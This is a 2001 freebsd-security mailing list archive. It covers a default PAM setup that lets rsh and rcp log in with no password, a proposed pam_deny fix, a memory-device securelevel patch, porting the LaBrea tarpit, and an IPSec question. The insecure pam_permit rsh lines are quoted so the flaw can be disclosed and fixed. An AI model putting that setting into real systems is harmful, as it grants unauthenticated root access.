X-Loop: FreeBSD.org


--s/l3CgOIzMHHjg/5
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline

I don't know why Mark does not fix this.  I have reported this
yet back in May, please see attached.  While pam_rhosts_auth.so
is unavailable, I suggest we commit the following:

Index: pam.conf
===================================================================
RCS file: /home/ncvs/src/etc/pam.conf,v
retrieving revision 1.19
diff -u -r1.19 pam.conf
--- pam.conf	2001/08/26 18:15:32	1.19
+++ pam.conf	2001/09/25 08:21:28
@@ -63,7 +63,8 @@
 login	password required	pam_unix.so	no_warn try_first_pass
 
 rsh	auth	required	pam_nologin.so	no_warn
-rsh	auth	required	pam_permit.so	no_warn
+rsh	auth	required	pam_deny.so	no_warn
+#rsh	auth	required	pam_rhosts_auth.so
 rsh	account	required	pam_unix.so
 rsh	session	required	pam_permit.so

On Tue, Sep 25, 2001 at 02:44:38PM +0930, Thyer, Matthew wrote:
> Why can I "rcp" to my FreeBSD-CURRENT box (built Sept 19th) with
> no password when I dont even have a .rhosts file (I dont have an
> /etc/hosts.equiv either).
> 
> I can also "rsh freebie command" with no prompt for password.
> 
> I assume this is due to the upgrade of PAM.
> 
> Looking on a RedHat 7.1 system I see they have the following in
> /etc/pam.d/rsh:
> 
> #%PAM-1.0
> # For root login to succeed here with pam_securetty, "rsh" must be
> # listed in /etc/securetty.
> auth       required     /lib/security/pam_nologin.so
> auth       required     /lib/security/pam_securetty.so
> auth       required     /lib/security/pam_env.so
> auth       required     /lib/security/pam_rhosts_auth.so
> account    required     /lib/security/pam_stack.so service=system-auth
> session    required     /lib/security/pam_stack.so service=system-auth
> 
> 
> My FreeBSD-CURRENT box has this for rsh:
> 
> rsh     auth    required        pam_nologin.so  no_warn
> rsh     auth    required        pam_permit.so   no_warn
> rsh     account required        pam_unix.so
> rsh     session required        pam_permit.so
> 
> 
> It seems that we dont have a /usr/lib/pam_rhosts_auth.so.

-- 
Ruslan Ermilov		Oracle Developer/DBA,
ru@sunbay.com		Sunbay Software AG,
ru@FreeBSD.org		FreeBSD committer,
+380.652.512.251	Simferopol, Ukraine

http://www.FreeBSD.org	The Power To Serve
http://www.oracle.com	Enabling The Information Age

--s/l3CgOIzMHHjg/5
Content-Type: message/rfc822
Content-Disposition: inline

Received: from mx2.freebsd.org (mx2.freebsd.org [216.136.204.119])
	by whale.sunbay.crimea.ua (8.11.2/8.11.2) with ESMTP id f43BCx669253
	for <ru@sunbay.crimea.ua>; Thu, 3 May 2001 14:13:11 +0300 (EEST)
	(envelope-from mark@grondar.za)
Received: from hub.freebsd.org (hub.freebsd.org [216.136.204.18])
	by mx2.freebsd.org (Postfix) with ESMTP id 9589955F57
	for <ru@sunbay.crimea.ua>; Thu,  3 May 2001 04:12:53 -0700 (PDT)
	(envelope-from mark@grondar.za)
Received: by hub.freebsd.org (Postfix)
	id 1931237B50D; Thu,  3 May 2001 04:12:53 -0700 (PDT)
Delivered-To: ru@freebsd.org
Received: from gratis.grondar.za (grouter.grondar.za [196.7.18.65])
	by hub.freebsd.org (Postfix) with ESMTP id 1A13F37B424
	for <ru@FreeBSD.org>; Thu,  3 May 2001 04:12:48 -0700 (PDT)
	(envelope-from mark@grondar.za)
Received: from grondar.za (gratis.grondar.za [196.7.18.133])
	by gratis.grondar.za (8.11.3/8.11.3) with ESMTP id f43BChp68050
	for <ru@FreeBSD.org>; Thu, 3 May 2001 13:12:43 +0200 (SAST)
	(envelope-from mark@grondar.za)
Message-Id: <200105031112.f43BChp68050@gratis.grondar.za>
To: Ruslan Ermilov <ru@FreeBSD.org>
Subject: Re: Default rshd(8) PAM configuration results in a root compromise 
References: <20010503135757.A66125@sunbay.com> 
In-Reply-To: <20010503135757.A66125@sunbay.com> ; from Ruslan Ermilov <ru@FreeBSD.org>  "Thu, 03 May 2001 13:57:57 +0300."
Date: Thu, 03 May 2001 13:14:35 +0200
From: Mark Murray <mark@grondar.za>
MIME-Version: 1.0

> This is JFYI that the default (as given in /etc/pam.conf)
> PAM configuration for rshd(8) currently results in a root
> compromise, if rshd(8) is enabled in /etc/inetd.conf.

rshd is a root compromise anyway :-)

> It is obvious that "we can't have a conversation with the
> client over the rsh connection", but using pam_permit is
> certainly a bad idea.
> 
> If this behavior was planned when committed, /etc/pam.conf
> should at least warn about this.

Agreed. I'll do that.

M
-- 
Mark Murray
Warning: this .sig is umop ap!sdn

--s/l3CgOIzMHHjg/5--

To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-security" in the body of the message


From owner-freebsd-security  Tue Sep 25  2:24:41 2001
Delivered-To: freebsd-security@freebsd.org
Received: from malkavian.org (malkavian.org [206.136.132.23])
	by hub.freebsd.org (Postfix) with ESMTP
	id B97AF37B439; Tue, 25 Sep 2001 02:24:27 -0700 (PDT)
Received: (from rbw@localhost)
	by malkavian.org (8.11.6/8.11.1) id f8P9OQ448442;
	Tue, 25 Sep 2001 05:24:26 -0400 (EDT)
	(envelope-from rbw@myplace.org)
Date: Tue, 25 Sep 2001 02:24:26 -0700
From: "brian j. peterson" <rbw@myplace.org>
To: alpha@FreeBSD.ORG, security@FreeBSD.ORG
Subject: Re: bogon in 4.x memory device
Message-ID: <20010925022426.D74245@malkavian.org>
Mail-Followup-To: alpha@FreeBSD.ORG, security@FreeBSD.ORG
References: <20010925020701.X97903@elvis.mu.org>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <20010925020701.X97903@elvis.mu.org>; from bright@mu.org on Tue, Sep 25, 2001 at 02:07:01AM -0500
X-URL: http://rbw.myplace.org/
Sender: owner-freebsd-security@FreeBSD.ORG
Precedence: bulk
List-ID: <freebsd-security.FreeBSD.ORG>
List-Archive: <http://docs.freebsd.org/mail/> (Web Archive)
List-Help: <mailto:majordomo@FreeBSD.ORG?subject=help> (List Instructions)
List-Subscribe: <mailto:majordomo@FreeBSD.ORG?subject=subscribe%20freebsd-security>
List-Unsubscribe: <mailto:majordomo@FreeBSD.ORG?subject=unsubscribe%20freebsd-security>
X-Loop: FreeBSD.org

the patch needed an include added:

--- sys/alpha/alpha/mem.c.RELENG_4_4_0_RELEASE	Sat May 13 17:29:44 2000
+++ sys/alpha/alpha/mem.c	Tue Sep 25 00:36:06 2001
@@ -57,6 +57,7 @@
 #include <sys/msgbuf.h>
 #include <sys/random.h>
 #include <sys/signalvar.h>
+#include <sys/fcntl.h>
 
 #include <machine/frame.h>
 #include <machine/psl.h>
@@ -138,7 +139,7 @@
 	switch (minor(dev)) {
 	case 0:
 	case 1:
-		if (securelevel >= 1)
+		if ((flags & FWRITE) && securelevel > 0)
 			return (EPERM);
 		break;
 	case 32:


anyway, top(1) now works on my box with securelevel at 2.

thanks again to bright.

-brian


On Tue, Sep 25, 2001 at 02:07:01AM -0500, Alfred Perlstein wrote:
> without this top(1) fails on machines with raised securelevel.
> 
> can anyone review/comment?
> 
> Reported by: brian j. peterson <rbw@myplace.org> 
> 
> Index: mem.c
> ===================================================================
> RCS file: /home/ncvs/src/sys/alpha/alpha/mem.c,v
> retrieving revision 1.19.2.3
> diff -u -r1.19.2.3 mem.c
> --- mem.c	2000/05/14 00:29:44	1.19.2.3
> +++ mem.c	2001/09/25 06:55:30
> @@ -138,7 +138,7 @@
>  	switch (minor(dev)) {
>  	case 0:
>  	case 1:
> -		if (securelevel >= 1)
> +		if ((flags & FWRITE) && securelevel > 0)
>  			return (EPERM);
>  		break;
>  	case 32:
> 
> 
> -- 
> -Alfred Perlstein [alfred@freebsd.org]
> 'Instead of asking why a piece of software is using "1970s technology,"
> start asking why software is ignoring 30 years of accumulated wisdom.'
> 
> To Unsubscribe: send mail to majordomo@FreeBSD.org
> with "unsubscribe freebsd-alpha" in the body of the message

-- 
--===-----=======-----------=============-----------------===================
    rbw aka bjp        |   and did you exchange a walk on part in the war
    rbw@myplace.org    |   for a lead role in a cage?
===================-----------------=============-----------=======-----===--

To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-security" in the body of the message


From owner-freebsd-security  Tue Sep 25  3:18:14 2001
Delivered-To: freebsd-security@freebsd.org
Received: from malraux.matranet.com (malraux.matranet.com [194.117.213.2])
	by hub.freebsd.org (Postfix) with ESMTP id 1985C37B406
	for <freebsd-security@FreeBSD.ORG>; Tue, 25 Sep 2001 03:18:10 -0700 (PDT)
Received: by malraux.matranet.com; id MAA08113; Tue, 25 Sep 2001 12:18:59 +0200 (CEST)
Message-Id: <200109251018.MAA08113@malraux.matranet.com>
Date: Tue, 25 Sep 2001 12:23:24 +0200
From: Laurent Fabre <fabre@matranet.com>
User-Agent: Mozilla/5.0 (X11; U; FreeBSD i386; en-US; rv:0.9.3) Gecko/20010924
X-Accept-Language: en-us
MIME-Version: 1.0
To: Chris Faulhaber <jedgar@fxp.org>
Cc: freebsd-security@FreeBSD.ORG
Subject: Re: LaBrea for BSD?
References: <20010924162750.24311@shalmaneser.thelbane.com> <200109241645.SAA02368@malraux.matranet.com>
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
Sender: owner-freebsd-security@FreeBSD.ORG
Precedence: bulk
List-ID: <freebsd-security.FreeBSD.ORG>
List-Archive: <http://docs.freebsd.org/mail/> (Web Archive)
List-Help: <mailto:majordomo@FreeBSD.ORG?subject=help> (List Instructions)
List-Subscribe: <mailto:majordomo@FreeBSD.ORG?subject=subscribe%20freebsd-security>
List-Unsubscribe: <mailto:majordomo@FreeBSD.ORG?subject=unsubscribe%20freebsd-security>
X-Loop: FreeBSD.org

Chris Faulhaber wrote:

>On Mon, Sep 24, 2001 at 11:27:50AM -0500, Timothy Knox wrote:
>
>>Has anyone here looked at LaBrea <http://hts.dshield.org/LaBrea/>? If so,
>>how much effort would be needed to port it to FreeBSD? It seems like an
>>interesting idea, and a potentially amusing way to slow the spread of
>>these darn IIS worms.
>>
>
>Actually I have an [untested] port at:
>
>http://people.FreeBSD.org/~jedgar/labrea.shar
>
>It builds and installs but I haven't had the time to test
>its functionality.
>
As far as i know it uses only libnet and libpcap, which are both ported 
librairy,
so if it works under Linux i can't figure a reason why it should'nt 
under BSD
(other than a lib installation misbehavior).



To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-security" in the body of the message


From owner-freebsd-security  Tue Sep 25  5:42:42 2001
Delivered-To: freebsd-security@freebsd.org
Received: from fledge.watson.org (fledge.watson.org [204.156.12.50])
	by hub.freebsd.org (Postfix) with ESMTP
	id 759FC37B439; Tue, 25 Sep 2001 05:42:27 -0700 (PDT)
Received: from fledge.watson.org (robert@fledge.pr.watson.org [192.0.2.3])
	by fledge.watson.org (8.11.6/8.11.5) with SMTP id f8PCfSB80973;
	Tue, 25 Sep 2001 08:41:29 -0400 (EDT)
	(envelope-from robert@fledge.watson.org)
Date: Tue, 25 Sep 2001 08:41:28 -0400 (EDT)
From: Robert Watson <rwatson@freebsd.org>
X-Sender: robert@fledge.watson.org
To: Alfred Perlstein <bright@mu.org>
Cc: alpha@freebsd.org, security@freebsd.org
Subject: Re: bogon in 4.x memory device
In-Reply-To: <20010925020701.X97903@elvis.mu.org>
Message-ID: <Pine.NEB.3.96L.1010925083942.80452A-100000@fledge.watson.org>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Sender: owner-freebsd-security@FreeBSD.ORG
Precedence: bulk
List-ID: <freebsd-security.FreeBSD.ORG>
List-Archive: <http://docs.freebsd.org/mail/> (Web Archive)
List-Help: <mailto:majordomo@FreeBSD.ORG?subject=help> (List Instructions)
List-Subscribe: <mailto:majordomo@FreeBSD.ORG?subject=subscribe%20freebsd-security>
List-Unsubscribe: <mailto:majordomo@FreeBSD.ORG?subject=unsubscribe%20freebsd-security>
X-Loop: FreeBSD.org


Looks fine -- a similar change has been made in -CURRENT, although
fortunately in -CURRENT, kmem is no longer required for top to function,
as the sysctl MIB has been expanded.  It would be better to MFC the
sysctl/top changes, from a practical security perspective, but this is
certainly the easier change.

Robert N M Watson             FreeBSD Core Team, TrustedBSD Project
robert@fledge.watson.org      NAI Labs, Safeport Network Services

On Tue, 25 Sep 2001, Alfred Perlstein wrote:

> without this top(1) fails on machines with raised securelevel.
> 
> can anyone review/comment?
> 
> Reported by: brian j. peterson <rbw@myplace.org> 
> 
> Index: mem.c
> ===================================================================
> RCS file: /home/ncvs/src/sys/alpha/alpha/mem.c,v
> retrieving revision 1.19.2.3
> diff -u -r1.19.2.3 mem.c
> --- mem.c	2000/05/14 00:29:44	1.19.2.3
> +++ mem.c	2001/09/25 06:55:30
> @@ -138,7 +138,7 @@
>  	switch (minor(dev)) {
>  	case 0:
>  	case 1:
> -		if (securelevel >= 1)
> +		if ((flags & FWRITE) && securelevel > 0)
>  			return (EPERM);
>  		break;
>  	case 32:
> 
> 
> -- 
> -Alfred Perlstein [alfred@freebsd.org]
> 'Instead of asking why a piece of software is using "1970s technology,"
> start asking why software is ignoring 30 years of accumulated wisdom.'
> 
> To Unsubscribe: send mail to majordomo@FreeBSD.org
> with "unsubscribe freebsd-security" in the body of the message
> 


To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-security" in the body of the message


From owner-freebsd-security  Tue Sep 25  6:37:54 2001
Delivered-To: freebsd-security@freebsd.org
Received: from sv07e.atm-tzs.kmjeuro.com (sv07e.atm-tzs.kmjeuro.com [193.81.94.207])
	by hub.freebsd.org (Postfix) with ESMTP id 3E79E37B416
	for <freebsd-security@freebsd.org>; Tue, 25 Sep 2001 06:37:48 -0700 (PDT)
Received: (from root@localhost)
	by sv07e.atm-tzs.kmjeuro.com (8.11.5/8.11.4) id f8PDbjS84415
	for freebsd-security@freebsd.org; Tue, 25 Sep 2001 15:37:45 +0200 (CEST)
	(envelope-from k.joch@kmjeuro.com)
Received: from kmjeuro.com (adsl.sbg.kmjeuro.com [193.154.189.16])
	(authenticated)
	by sv07e.atm-tzs.kmjeuro.com (8.11.5/8.11.4) with ESMTP id f8PDbXv84147;
	Tue, 25 Sep 2001 15:37:33 +0200 (CEST)
	(envelope-from k.joch@kmjeuro.com)
Message-ID: <3BB0889B.1040308@kmjeuro.com>
Date: Tue, 25 Sep 2001 15:37:31 +0200
From: "Karl M. Joch" <k.joch@kmjeuro.com>
User-Agent: Mozilla/5.0 (X11; U; FreeBSD i386; en-US; rv:0.9.3) Gecko/20010812
X-Accept-Language: en-us
MIME-Version: 1.0
To: Laurent Fabre <fabre@matranet.com>
Cc: freebsd-security@freebsd.org
Subject: Re: LaBrea for BSD?
References: <20010924162750.24311@shalmaneser.thelbane.com> <200109241645.SAA02368@malraux.matranet.com> <200109251018.MAA08113@malraux.matranet.com>
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
X--virus-scanner: scanned for Virus and dangerous attachments on sv07e.atm-tzs.kmjeuro.com (System Setup/Maintainance: http://www.ctseuro.com/)
Sender: owner-freebsd-security@FreeBSD.ORG
Precedence: bulk
List-ID: <freebsd-security.FreeBSD.ORG>
List-Archive: <http://docs.freebsd.org/mail/> (Web Archive)
List-Help: <mailto:majordomo@FreeBSD.ORG?subject=help> (List Instructions)
List-Subscribe: <mailto:majordomo@FreeBSD.ORG?subject=subscribe%20freebsd-security>
List-Unsubscribe: <mailto:majordomo@FreeBSD.ORG?subject=unsubscribe%20freebsd-security>
X-Loop: FreeBSD.org

there is one strange thing. it runs here now partially. but the 
following points are strange:

a) the non used ip doesnt ping back as mentioned in the doc (ether 
without -a or with -a)

b) it works mostly in the night here when traffic is low. as soon as 
traffic in the net increases it stops working. means, it still runs, but 
doesnt log any activity/teergrubing into the log (running -lv). it still 
logs bandwidth used with 0. and there would be activities (seen in logs 
of other servers) which would fall under labreas responsibility.

compiling and linking (also static) works fine. no errors here and while 
running. i have it on an own box  (P66/64MB/1.5GB SCSI) with labrea only 
on 4.4-stable.

the code is far to deep in the ethernet stuff for my c knowledge. i 
looked at it, but .....


Karl

Laurent Fabre wrote:
> Chris Faulhaber wrote:
> 
>> On Mon, Sep 24, 2001 at 11:27:50AM -0500, Timothy Knox wrote:
>>
>>> Has anyone here looked at LaBrea <http://hts.dshield.org/LaBrea/>? If 
>>> so,
>>> how much effort would be needed to port it to FreeBSD? It seems like an
>>> interesting idea, and a potentially amusing way to slow the spread of
>>> these darn IIS worms.
>>>
>>
>> Actually I have an [untested] port at:
>>
>> http://people.FreeBSD.org/~jedgar/labrea.shar
>>
>> It builds and installs but I haven't had the time to test
>> its functionality.
>>
> As far as i know it uses only libnet and libpcap, which are both ported 
> librairy,
> so if it works under Linux i can't figure a reason why it should'nt 
> under BSD
> (other than a lib installation misbehavior).
> 
> 
> 
> To Unsubscribe: send mail to majordomo@FreeBSD.org
> with "unsubscribe freebsd-security" in the body of the message



To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-security" in the body of the message


From owner-freebsd-security  Tue Sep 25  6:41: 9 2001
Delivered-To: freebsd-security@freebsd.org
Received: from ww02.jatek.com (ww02.jatek.com [216.116.124.105])
	by hub.freebsd.org (Postfix) with SMTP id 2831337B62C
	for <freebsd-security@freebsd.org>; Tue, 25 Sep 2001 06:41:05 -0700 (PDT)
Received: (qmail 24048 invoked from network); 25 Sep 2001 13:46:49 -0000
Received: from cpe-144-132-166-237.nsw.bigpond.net.au (HELO room) (144.132.166.237)
  by ww02.jatek.com with SMTP; 25 Sep 2001 13:46:49 -0000
Message-Id: <4.1.20010925234240.0171c600@mail.prochips.net>
X-Sender: clinton@mail.prochips.net
X-Mailer: QUALCOMM Windows Eudora Pro Version 4.1 
Date: Tue, 25 Sep 2001 23:42:51 +1000
To: freebsd-security@freebsd.org
From: Clinton <clinton@prochips.net>
Subject:
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Sender: owner-freebsd-security@FreeBSD.ORG
Precedence: bulk
List-ID: <freebsd-security.FreeBSD.ORG>
List-Archive: <http://docs.freebsd.org/mail/> (Web Archive)
List-Help: <mailto:majordomo@FreeBSD.ORG?subject=help> (List Instructions)
List-Subscribe: <mailto:majordomo@FreeBSD.ORG?subject=subscribe%20freebsd-security>
List-Unsubscribe: <mailto:majordomo@FreeBSD.ORG?subject=unsubscribe%20freebsd-security>
X-Loop: FreeBSD.org

unsubscribe


To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-security" in the body of the message


From owner-freebsd-security  Tue Sep 25  6:44: 4 2001
Delivered-To: freebsd-security@freebsd.org
Received: from ww02.jatek.com (ww02.jatek.com [216.116.124.105])
	by hub.freebsd.org (Postfix) with SMTP id 88F6C37B430
	for <freebsd-security@freebsd.org>; Tue, 25 Sep 2001 06:44:01 -0700 (PDT)
Received: (qmail 24311 invoked from network); 25 Sep 2001 13:49:45 -0000
Received: from cpe-144-132-166-237.nsw.bigpond.net.au (HELO room) (144.132.166.237)
  by ww02.jatek.com with SMTP; 25 Sep 2001 13:49:45 -0000
Message-Id: <4.1.20010925234533.0172dd28@mail.prochips.net>
X-Sender: clinton@mail.prochips.net
X-Mailer: QUALCOMM Windows Eudora Pro Version 4.1 
Date: Tue, 25 Sep 2001 23:45:47 +1000
To: freebsd-security@freebsd.org
From: Clinton <clinton@prochips.net>
Subject: Fwd: 
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Sender: owner-freebsd-security@FreeBSD.ORG
Precedence: bulk
List-ID: <freebsd-security.FreeBSD.ORG>
List-Archive: <http://docs.freebsd.org/mail/> (Web Archive)
List-Help: <mailto:majordomo@FreeBSD.ORG?subject=help> (List Instructions)
List-Subscribe: <mailto:majordomo@FreeBSD.ORG?subject=subscribe%20freebsd-security>
List-Unsubscribe: <mailto:majordomo@FreeBSD.ORG?subject=unsubscribe%20freebsd-security>
X-Loop: FreeBSD.org

I am a retard and tried to copy everyone else....shame



To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-security" in the body of the message


From owner-freebsd-security  Tue Sep 25  7:54:15 2001
Delivered-To: freebsd-security@freebsd.org
Received: from malraux.matranet.com (malraux.matranet.com [194.117.213.2])
	by hub.freebsd.org (Postfix) with ESMTP id 7E29237B42F
	for <freebsd-security@FreeBSD.ORG>; Tue, 25 Sep 2001 07:54:09 -0700 (PDT)
Received: by malraux.matranet.com; id QAA28275; Tue, 25 Sep 2001 16:55:04 +0200 (CEST)
Message-Id: <200109251455.QAA28275@malraux.matranet.com>
Date: Tue, 25 Sep 2001 16:59:20 +0200
From: Laurent Fabre <fabre@matranet.com>
User-Agent: Mozilla/5.0 (X11; U; FreeBSD i386; en-US; rv:0.9.3) Gecko/20010924
X-Accept-Language: en-us
MIME-Version: 1.0
To: "Karl M. Joch" <k.joch@kmjeuro.com>
Cc: freebsd-security@FreeBSD.ORG
Subject: Re: LaBrea for BSD?
References: <20010924162750.24311@shalmaneser.thelbane.com> <200109241645.SAA02368@malraux.matranet.com> <200109251018.MAA08113@malraux.matranet.com> <200109251339.PAA22725@malraux.matranet.com>
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
Sender: owner-freebsd-security@FreeBSD.ORG
Precedence: bulk
List-ID: <freebsd-security.FreeBSD.ORG>
List-Archive: <http://docs.freebsd.org/mail/> (Web Archive)
List-Help: <mailto:majordomo@FreeBSD.ORG?subject=help> (List Instructions)
List-Subscribe: <mailto:majordomo@FreeBSD.ORG?subject=subscribe%20freebsd-security>
List-Unsubscribe: <mailto:majordomo@FreeBSD.ORG?subject=unsubscribe%20freebsd-security>
X-Loop: FreeBSD.org

Karl M. Joch wrote:
> there is one strange thing. it runs here now partially. but the 
> following points are strange:
> 
> a) the non used ip doesnt ping back as mentioned in the doc (ether 
> without -a or with -a)
> 
> b) it works mostly in the night here when traffic is low. as soon as 
> traffic in the net increases it stops working. means, it still runs, but 
> doesnt log any activity/teergrubing into the log (running -lv). it still 
> logs bandwidth used with 0. and there would be activities (seen in logs 
> of other servers) which would fall under labreas responsibility.
> 
> compiling and linking (also static) works fine. no errors here and while 
> running. i have it on an own box  (P66/64MB/1.5GB SCSI) with labrea only 
> on 4.4-stable.
> 
> the code is far to deep in the ethernet stuff for my c knowledge. i 
> looked at it, but .....
> 
> 
> Karl
> 
> Laurent Fabre wrote:
> 
>> Chris Faulhaber wrote:
>>
>>> On Mon, Sep 24, 2001 at 11:27:50AM -0500, Timothy Knox wrote:
>>>
>>>> Has anyone here looked at LaBrea <http://hts.dshield.org/LaBrea/>? 
>>>> If so,
>>>> how much effort would be needed to port it to FreeBSD? It seems like an
>>>> interesting idea, and a potentially amusing way to slow the spread of
>>>> these darn IIS worms.
>>>>
>>>
>>> Actually I have an [untested] port at:
>>>
>>> http://people.FreeBSD.org/~jedgar/labrea.shar
>>>
>>> It builds and installs but I haven't had the time to test
>>> its functionality.
>>>
>> As far as i know it uses only libnet and libpcap, which are both 
>> ported librairy,
>> so if it works under Linux i can't figure a reason why it should'nt 
>> under BSD
>> (other than a lib installation misbehavior).
>>
>>
>>
>> To Unsubscribe: send mail to majordomo@FreeBSD.org
>> with "unsubscribe freebsd-security" in the body of the message
> 
> 
> 
> 
> To Unsubscribe: send mail to majordomo@FreeBSD.org
> with "unsubscribe freebsd-security" in the body of the message
> 

Actually it's a libpcap issue i think.
As soon as the traffic gets high you start loosing frame
and the processing takes huge time to complete.

So there's a performance issue only in the capture phase
and not on the reply react phase.


Problem is i don't see anything else than libpcap to capture packets....

-- 
#--------------------------------------------#
#              Laurent Fabre                 #
#            fabre@matranet.com              #      /\    ASCII ribbon
#          EADS, Matranet Product Group      #      \/      campaign
#                                            #      /\	    against
# "foreach if-diff,                          #     /  \    HTML email
#  you need to re-make world...."            #
#--------------------------------------------#


To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-security" in the body of the message


From owner-freebsd-security  Tue Sep 25 10:26:29 2001
Delivered-To: freebsd-security@freebsd.org
Received: from lariat.org (lariat.org [12.23.109.2])
	by hub.freebsd.org (Postfix) with ESMTP id 9B4E637B406
	for <freebsd-security@FreeBSD.ORG>; Tue, 25 Sep 2001 10:23:41 -0700 (PDT)
Received: from mustang.lariat.org (IDENT:ppp0.lariat.org@lariat.org [12.23.109.2])
	by lariat.org (8.9.3/8.9.3) with ESMTP id KAA13794;
	Tue, 25 Sep 2001 10:54:46 -0600 (MDT)
Message-Id: <4.3.2.7.2.20010925105333.04794430@localhost>
X-Sender: brett@localhost
X-Mailer: QUALCOMM Windows Eudora Version 4.3.2
Date: Tue, 25 Sep 2001 10:54:37 -0600
To: Timothy Knox <tdk@thelbane.com>, <freebsd-security@FreeBSD.ORG>
From: Brett Glass <brett@lariat.org>
Subject: Re: LaBrea for BSD?
In-Reply-To: <20010924162750.24311@shalmaneser.thelbane.com>
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Sender: owner-freebsd-security@FreeBSD.ORG
Precedence: bulk
List-ID: <freebsd-security.FreeBSD.ORG>
List-Archive: <http://docs.freebsd.org/mail/> (Web Archive)
List-Help: <mailto:majordomo@FreeBSD.ORG?subject=help> (List Instructions)
List-Subscribe: <mailto:majordomo@FreeBSD.ORG?subject=subscribe%20freebsd-security>
List-Unsubscribe: <mailto:majordomo@FreeBSD.ORG?subject=unsubscribe%20freebsd-security>
X-Loop: FreeBSD.org

It would be MUCH better to rewrite it rather than port it. The authors
have stamped the GPL on it. The last thing we need (IMHO) is to
spread one virus while attempting to catch another!

--Brett Glass

At 10:27 AM 9/24/2001, Timothy Knox wrote:
  
>Has anyone here looked at LaBrea <http://hts.dshield.org/LaBrea/>? If so,
>how much effort would be needed to port it to FreeBSD? It seems like an
>interesting idea, and a potentially amusing way to slow the spread of
>these darn IIS worms.
>
>Just my 2.02 yen worth, YMMV, void where prohibited by law.
>-- 
>Timothy Knox  --  <mailto:tdk@thelbane.com>
>"Stupidity is like nuclear power. It can be used for good or evil,
>and you don't want to get any on you." -- Scott Adams
>
>
>To Unsubscribe: send mail to majordomo@FreeBSD.org
>with "unsubscribe freebsd-security" in the body of the message


To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-security" in the body of the message


From owner-freebsd-security  Tue Sep 25 13:54: 4 2001
Delivered-To: freebsd-security@freebsd.org
Received: from iaces.com (horton.iaces.com [204.147.87.98])
	by hub.freebsd.org (Postfix) with ESMTP id 50A4E37B40E
	for <security@freebsd.org>; Tue, 25 Sep 2001 13:53:59 -0700 (PDT)
Received: from iaces.com (ptroot.iaces.com [204.147.87.124])
	by iaces.com (8.11.4/8.11.4) with ESMTP id f8PKrvl61103
	for <security@freebsd.org>; Tue, 25 Sep 2001 15:53:58 -0500 (CDT)
	(envelope-from proot@iaces.com)
Message-ID: <3BB0EEE5.64D0D4F@iaces.com>
Date: Tue, 25 Sep 2001 15:53:57 -0500
From: Paul Root <proot@iaces.com>
X-Mailer: Mozilla 4.77 [en] (Windows NT 5.0; U)
X-Accept-Language: en
MIME-Version: 1.0
To: security@freebsd.org
Subject: IPSec with a Solaris 8 box
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-freebsd-security@FreeBSD.ORG
Precedence: bulk
List-ID: <freebsd-security.FreeBSD.ORG>
List-Archive: <http://docs.freebsd.org/mail/> (Web Archive)
List-Help: <mailto:majordomo@FreeBSD.ORG?subject=help> (List Instructions)
List-Subscribe: <mailto:majordomo@FreeBSD.ORG?subject=subscribe%20freebsd-security>
List-Unsubscribe: <mailto:majordomo@FreeBSD.ORG?subject=unsubscribe%20freebsd-security>
X-Loop: FreeBSD.org

Anybody done IPSEC between a FreeBSD box and a Solaris 8 box?

I've got transports working between two FreeBSD boxes (haven't got
tunnels, I'm having routing problems). But I can't get a FreeBSD box
and a Solaris box to talk.

I know it's the Solaris end, as having a snoop on the Solaris end and
pinging, I see ESP packets. Using tcpdump on FreeBSD and pinging
from Solaris, I get ICMP packets.

Anybody got hints on setting up Solaris. I've been reading the
Answerbook,
but to no avail.

Thanks,
Paul.

--
Paul T. Root                    E/Mail: proot@iaces.com
600 Stinson Blvd, Fl 1S  PAG: +1 (877) 693-7155
Minneapolis, MN  55413          WRK: +1 (612) 664-3385
NIC:    PTR                     FAX: +1 (612) 664-4779



To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-security" in the body of the message


From owner-freebsd-security  Tue Sep 25 15:49:16 2001
Delivered-To: freebsd-security@freebsd.org
Received: from cairo.anu.edu.au (cairo.anu.edu.au [150.203.224.11])
	by hub.freebsd.org (Postfix) with ESMTP id 0813537B407
	for <security@FreeBSD.ORG>; Tue, 25 Sep 2001 15:49:12 -0700 (PDT)
Received: from cairo.anu.edu.au (localhost [127.0.0.1])
	by cairo.anu.edu.au (8.12.0.Beta16/8.12.0.Beta16) with ESMTP id f8PMmxpr008426;
	Wed, 26 Sep 2001 08:49:00 +1000 (EST)
Received: (from avalon@localhost)
	by cairo.anu.edu.au (8.12.0.Beta16/8.12.0.Beta16) id f8PMmx3g008425;
	Wed, 26 Sep 2001 08:48:59 +1000 (EST)
From: Darren Reed <avalon@cairo.anu.edu.au>
Message-Id: <200109252248.f8PMmx3g008425@cairo.anu.edu.au>
Subject: Re: IPSec with a Solaris 8 box
In-Reply-To: <3BB0EEE5.64D0D4F@iaces.com> from Paul Root at "Sep 25, 1 03:53:57 pm"
To: proot@iaces.com (Paul Root)
Date: Wed, 26 Sep 2001 08:48:59 +1000 (EST)
Cc: security@FreeBSD.ORG
X-Mailer: ELM [version 2.4ME+ PL39 (25)]
MIME-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
Sender: owner-freebsd-security@FreeBSD.ORG
Precedence: bulk
